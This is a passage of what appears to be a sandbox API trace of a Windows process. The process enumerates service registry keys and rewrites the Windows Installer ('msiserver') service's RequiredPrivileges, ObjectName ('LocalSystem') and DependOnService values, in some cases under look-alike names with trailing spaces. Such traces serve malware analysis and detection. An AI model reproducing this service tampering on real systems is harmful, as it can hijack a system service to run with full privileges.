(in: hKey=0xc4, dwIndex=0xaa, lpName=0x2152850, cchName=0x104 | out: lpName="LSI_SCSI") returned 0x0 [0250.669] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xab, lpName=0x2152850, cchName=0x104 | out: lpName="luafv") returned 0x0 [0250.669] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xac, lpName=0x2152850, cchName=0x104 | out: lpName="Mcx2Svc") returned 0x0 [0250.669] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xad, lpName=0x2152850, cchName=0x104 | out: lpName="megasas") returned 0x0 [0250.669] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xae, lpName=0x2152850, cchName=0x104 | out: lpName="MegaSR") returned 0x0 [0250.669] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xaf, lpName=0x2152850, cchName=0x104 | out: lpName="Microsoft SharePoint Workspace Audit Service") returned 0x0 [0250.669] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xb0, lpName=0x2152850, cchName=0x104 | out: lpName="MMCSS") returned 0x0 [0250.670] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xb1, lpName=0x2152850, cchName=0x104 | out: lpName="Modem") returned 0x0 [0250.670] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xb2, lpName=0x2152850, cchName=0x104 | out: lpName="monitor") returned 0x0 [0250.670] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xb3, lpName=0x2152850, cchName=0x104 | out: lpName="mouclass") returned 0x0 [0250.670] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xb4, lpName=0x2152850, cchName=0x104 | out: lpName="mouhid") returned 0x0 [0250.670] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xb5, lpName=0x2152850, cchName=0x104 | out: lpName="mountmgr") returned 0x0 [0250.670] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xb6, lpName=0x2152850, cchName=0x104 | out: lpName="MozillaMaintenance") returned 0x0 [0250.670] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xb7, lpName=0x2152850, cchName=0x104 | out: lpName="mpio") returned 0x0 [0250.670] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xb8, lpName=0x2152850, cchName=0x104 | out: lpName="mpsdrv") returned 0x0 [0250.670] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xb9, lpName=0x2152850, cchName=0x104 | out: lpName="MpsSvc") returned 0x0 [0250.670] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xba, lpName=0x2152850, cchName=0x104 | out: lpName="MRxDAV") returned 0x0 [0250.670] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xbb, lpName=0x2152850, cchName=0x104 | out: lpName="mrxsmb") returned 0x0 [0250.670] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xbc, lpName=0x2152850, cchName=0x104 | out: lpName="mrxsmb10") returned 0x0 [0250.670] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xbd, lpName=0x2152850, cchName=0x104 | out: lpName="mrxsmb20") returned 0x0 [0250.671] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xbe, lpName=0x2152850, cchName=0x104 | out: lpName="msahci") returned 0x0 [0250.671] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xbf, lpName=0x2152850, cchName=0x104 | out: lpName="msdsm") returned 0x0 [0250.671] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xc0, lpName=0x2152850, cchName=0x104 | out: lpName="MSDTC") returned 0x0 [0250.671] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xc1, lpName=0x2152850, cchName=0x104 | out: lpName="MSDTC Bridge 3.0.0.0") returned 0x0 [0250.671] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xc2, lpName=0x2152850, cchName=0x104 | out: lpName="MSDTC Bridge 4.0.0.0") returned 0x0 [0250.671] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xc3, lpName=0x2152850, cchName=0x104 | out: lpName="Msfs") returned 0x0 [0250.671] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xc4, lpName=0x2152850, cchName=0x104 | out: lpName="mshidkmdf") returned 0x0 [0250.671] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xc5, lpName=0x2152850, cchName=0x104 | out: lpName="msisadrv") returned 0x0 [0250.671] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xc6, lpName=0x2152850, cchName=0x104 | out: lpName="MSiSCSI") returned 0x0 [0250.671] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xc7, lpName=0x2152850, cchName=0x104 | out: lpName="msiserver") returned 0x0 [0250.671] RegOpenKeyExW (in: hKey=0xc4, lpSubKey="msiserver", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x14c) returned 0x0 [0250.671] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x2152850) returned 1 [0250.671] RegCloseKey (hKey=0xc4) returned 0x0 [0250.672] SHRegDuplicateHKey (hkey=0x80000002) returned 0x80000002 [0250.672] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="BCD00000000") returned 0x0 [0250.672] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="HARDWARE") returned 0x0 [0250.672] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="SAM") returned 0x0 [0250.672] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="SECURITY") returned 0x0 [0250.672] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="SOFTWARE") returned 0x0 [0250.672] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName="SYSTEM") returned 0x0 [0250.672] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SYSTEM", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x148) returned 0x0 [0250.672] RegCloseKey (hKey=0x80000002) returned 0x0 [0250.672] RegEnumKeyW (in: hKey=0x148, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="ControlSet001") returned 0x0 [0250.672] RegEnumKeyW (in: hKey=0x148, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="ControlSet002") returned 0x0 [0250.672] RegEnumKeyW (in: hKey=0x148, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="MountedDevices") returned 0x0 [0250.672] RegEnumKeyW (in: hKey=0x148, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="RNG") returned 0x0 [0250.704] RegEnumKeyW (in: hKey=0x148, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="Select") returned 0x0 [0250.704] RegEnumKeyW (in: hKey=0x148, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName="Setup") returned 0x0 [0250.704] RegEnumKeyW (in: hKey=0x148, dwIndex=0x6, lpName=0x2152850, cchName=0x104 | out: lpName="Software") returned 0x0 [0250.704] RegEnumKeyW (in: hKey=0x148, dwIndex=0x7, lpName=0x2152850, cchName=0x104 | out: lpName="WPA") returned 0x0 [0250.705] RegEnumKeyW (in: hKey=0x148, dwIndex=0x8, lpName=0x2152850, cchName=0x104 | out: lpName="CurrentControlSet") returned 0x0 [0250.705] RegOpenKeyExW (in: hKey=0x148, lpSubKey="CurrentControlSet", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0xc4) returned 0x0 [0250.705] RegCloseKey (hKey=0x148) returned 0x0 [0250.705] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="Control") returned 0x0 [0250.705] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="Enum") returned 0x0 [0250.705] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="Hardware Profiles") returned 0x0 [0250.705] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="Policies") returned 0x0 [0250.705] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="services") returned 0x0 [0250.705] RegOpenKeyExW (in: hKey=0xc4, lpSubKey="services", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x148) returned 0x0 [0250.705] RegCloseKey (hKey=0xc4) returned 0x0 [0250.705] RegEnumKeyW (in: hKey=0x148, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Data") returned 0x0 [0250.705] RegEnumKeyW (in: hKey=0x148, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Networking") returned 0x0 [0250.705] RegEnumKeyW (in: hKey=0x148, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Networking 4.0.0.0") returned 0x0 [0250.705] RegEnumKeyW (in: hKey=0x148, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Data Provider for Oracle") returned 0x0 [0250.706] RegEnumKeyW (in: hKey=0x148, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Data Provider for SqlServer") returned 0x0 [0250.706] RegEnumKeyW (in: hKey=0x148, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Memory Cache 4.0") returned 0x0 [0250.706] RegEnumKeyW (in: hKey=0x148, dwIndex=0x6, lpName=0x2152850, cchName=0x104 | out: lpName=".NETFramework") returned 0x0 [0250.706] RegEnumKeyW (in: hKey=0x148, dwIndex=0x7, lpName=0x2152850, cchName=0x104 | out: lpName="1394ohci") returned 0x0 [0250.706] RegEnumKeyW (in: hKey=0x148, dwIndex=0x8, lpName=0x2152850, cchName=0x104 | out: lpName="ACPI") returned 0x0 [0250.706] RegEnumValueA (in: hKey=0x14c, dwIndex=0x0, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0250.706] RegEnumValueA (in: hKey=0x14c, dwIndex=0x1, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0250.706] RegEnumValueA (in: hKey=0x14c, dwIndex=0x2, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0250.706] RegEnumValueA (in: hKey=0x14c, dwIndex=0x3, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0250.706] RegEnumValueA (in: hKey=0x14c, dwIndex=0x4, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0250.707] RegEnumValueA (in: hKey=0x14c, dwIndex=0x5, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0250.707] RegEnumValueA (in: hKey=0x14c, dwIndex=0x6, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0250.707] RegEnumValueA (in: hKey=0x14c, dwIndex=0x7, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0250.707] RegEnumValueA (in: hKey=0x14c, dwIndex=0x8, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0250.707] RegEnumValueA (in: hKey=0x14c, dwIndex=0x9, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0250.707] RegEnumValueA (in: hKey=0x14c, dwIndex=0xa, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0250.707] RegEnumValueA (in: hKey=0x14c, dwIndex=0xb, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0250.707] RegEnumValueA (in: hKey=0x14c, dwIndex=0xc, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0250.707] RegEnumValueA (in: hKey=0x14c, dwIndex=0xd, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0250.707] RegEnumValueA (in: hKey=0x14c, dwIndex=0xe, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0250.707] RegEnumValueA (in: hKey=0x14c, dwIndex=0xf, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0250.708] RegSetValueExA (in: hKey=0xc4, lpValueName="RequiredPrivileges", Reserved=0x0, dwType=0x7, lpData=0x29f0048*, cbData=0x195 | out: lpData=0x29f0048*) returned 0x0 [0250.708] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x29f0048) returned 1 [0250.708] RegSetValueExA (in: hKey=0xc4, lpValueName="RequiredPrivileges ", Reserved=0x0, dwType=0x7, lpData=0x29f0048*, cbData=0x195 | out: lpData=0x29f0048*) returned 0x0 [0250.708] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x29f0048) returned 1 [0250.708] RegEnumValueA (in: hKey=0x14c, dwIndex=0x0, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0250.708] RegEnumValueA (in: hKey=0x14c, dwIndex=0x1, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0250.708] RegEnumValueA (in: hKey=0x14c, dwIndex=0x2, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0250.708] RegEnumValueA (in: hKey=0x14c, dwIndex=0x3, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0250.708] RegEnumValueA (in: hKey=0x14c, dwIndex=0x4, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0250.708] RegEnumValueA (in: hKey=0x14c, dwIndex=0x5, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0250.708] RegEnumValueA (in: hKey=0x14c, dwIndex=0x6, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0250.708] RegEnumValueA (in: hKey=0x14c, dwIndex=0x7, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0250.708] RegEnumValueA (in: hKey=0x14c, dwIndex=0x8, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0250.709] RegEnumValueA (in: hKey=0x14c, dwIndex=0x9, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0250.709] RegEnumValueA (in: hKey=0x14c, dwIndex=0xa, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0250.709] RegEnumValueA (in: hKey=0x14c, dwIndex=0xb, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0250.709] RegEnumValueA (in: hKey=0x14c, dwIndex=0xc, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0250.709] RegEnumValueA (in: hKey=0x14c, dwIndex=0xd, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0250.709] RegEnumValueA (in: hKey=0x14c, dwIndex=0xe, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0250.709] RegEnumValueA (in: hKey=0x14c, dwIndex=0xf, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0250.709] RegSetValueExA (in: hKey=0xc4, lpValueName="ObjectName", Reserved=0x0, dwType=0x1, lpData="LocalSystem", cbData=0xc | out: lpData="LocalSystem") returned 0x0 [0250.709] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f43d0) returned 1 [0250.709] RegSetValueExA (in: hKey=0xc4, lpValueName="ObjectName ", Reserved=0x0, dwType=0x1, lpData="LocalSystem", cbData=0xc | out: lpData="LocalSystem") returned 0x0 [0250.709] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f43d0) returned 1 [0250.709] RegEnumValueA (in: hKey=0x14c, dwIndex=0x0, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0250.709] RegEnumValueA (in: hKey=0x14c, dwIndex=0x1, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0250.710] RegEnumValueA (in: hKey=0x14c, dwIndex=0x2, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0250.710] RegEnumValueA (in: hKey=0x14c, dwIndex=0x3, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0250.710] RegEnumValueA (in: hKey=0x14c, dwIndex=0x4, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0250.710] RegEnumValueA (in: hKey=0x14c, dwIndex=0x5, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0250.710] RegEnumValueA (in: hKey=0x14c, dwIndex=0x6, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0250.710] RegEnumValueA (in: hKey=0x14c, dwIndex=0x7, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0250.710] RegEnumValueA (in: hKey=0x14c, dwIndex=0x8, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0250.710] RegEnumValueA (in: hKey=0x14c, dwIndex=0x9, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0250.710] RegEnumValueA (in: hKey=0x14c, dwIndex=0xa, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0250.710] RegEnumValueA (in: hKey=0x14c, dwIndex=0xb, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0250.710] RegEnumValueA (in: hKey=0x14c, dwIndex=0xc, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0250.710] RegEnumValueA (in: hKey=0x14c, dwIndex=0xd, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0250.711] RegEnumValueA (in: hKey=0x14c, dwIndex=0xe, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0250.711] RegEnumValueA (in: hKey=0x14c, dwIndex=0xf, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0250.711] RegSetValueExA (in: hKey=0xc4, lpValueName="DependOnService", Reserved=0x0, dwType=0x1, lpData="rpcss", cbData=0x6 | out: lpData="rpcss") returned 0x0 [0250.711] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f41d8) returned 1 [0250.711] RegSetValueExA (in: hKey=0xc4, lpValueName="DependOnService ", Reserved=0x0, dwType=0x1, lpData="rpcss", cbData=0x6 | out: lpData="rpcss") returned 0x0 [0250.711] RegEnumValueA (in: hKey=0x14c, dwIndex=0x0, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0250.711] RegEnumValueA (in: hKey=0x14c, dwIndex=0x1, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0250.711] RegEnumValueA (in: hKey=0x14c, dwIndex=0x2, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0250.711] RegEnumValueA (in: hKey=0x14c, dwIndex=0x3, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0250.711] RegEnumValueA (in: hKey=0x14c, dwIndex=0x4, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0250.711] RegEnumValueA (in: hKey=0x14c, dwIndex=0x5, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0250.711] RegEnumValueA (in: hKey=0x14c, dwIndex=0x6, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0250.712] RegEnumValueA (in: hKey=0x14c, dwIndex=0x7, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 